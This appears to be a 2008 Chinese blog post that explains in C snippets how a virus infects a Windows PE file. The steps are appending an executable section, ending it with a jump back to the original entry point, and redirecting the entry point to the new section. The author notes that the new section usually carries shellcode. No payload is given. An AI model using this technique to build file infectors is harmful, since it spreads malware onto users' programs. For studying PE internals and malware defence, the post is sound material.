AddSection

 

PE感染,古老的话题!好久不玩感染,连最基本的添加新节的方式都迷糊了,遂巩固基本功,重新捡起来学习.
PE的那堆结构应该再熟悉不过了,略过.总结几个重点:

    ----------------------------------------------------------------------------
     NewSection.VirtualAddress   ┐
     NewSection.Misc.VirtualSize ┘定位 内存中 下个节的地址

     NewSection.SizeOfRawData      ┐
     NewSection.PointerToRawData ┘定位 磁盘中 下个节的地址

     OptionalHeader.SizeOfImage - 内存中整个PE的大小
     OptionalHeader.SizeOfCode   - 磁盘中整个代码块的大小
    ----------------------------------------------------------------------------

就下面几步,别人问你最基本的病毒感染方式时,你可别答漏了哦:
    ──────
      ︳ sudami ︳
      ︳08/08/28 ︳
      ──────

1.增加新节 - 定位到文件的最后,写入新节的内容length,末尾要增加5字节数据"jmp OEP"
    BYTE jmp = 0xE9;
    OEP = OEP-(NewSection.VirtualAddress+length)-5;
    fwrite(&jmp, sizeof(jmp), 1, newfile);
    fwrite(&OEP, sizeof(OEP), 1, newfile);

计算length在文件中的对齐大小,剩余部分填0
    for(i=0;i<alig(length,FILE_ALIG)-length-5;i++) {
    fputc('/0',newfile);
    }

2.增加新节表 - 有5处要填写的地方:
节表名、该节的磁盘偏移量、该节的磁盘大小、该节对齐后的内存大小、该节属性

    strcpy((char*)NewSection.Name,".sudami");
    NewSection.PointerToRawData = LastSectionTable.PointerToRawData+LastSectionTable.SizeOfRawData;
    NewSection.SizeOfRawData = alig(length,FILE_ALIG);
    NewSection.Misc.VirtualSize = length;
    NewSection.Characteristics = 0xE0000020; //新区块可读可写可执行

3.最后该修正可选头中的几个参数值了:
    int nNewImageSize = NThea.OptionalHeader.SizeOfImage + alig(length,SECTION_ALIG);
    int nNewSizeofCode = NThea.OptionalHeader.SizeOfCode + alig(length,FILE_ALIG);
    // 绑定输入,还是修改下比较好
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
    NThea.OptionalHeader.SizeOfCode   = nNewSizeofCode; // 修正磁盘中整个代码块的大小
    NThea.OptionalHeader.SizeOfImage = nNewImageSize;   // 修正内存中整个PE的大小
    NThea.FileHeader.NumberOfSections = nOldSectionNo+1; // 节表数加1
    NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress; // 修改OEP

OK,新节的内容多数时候是shellcode吧,一般很简单的.嘿嘿...

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值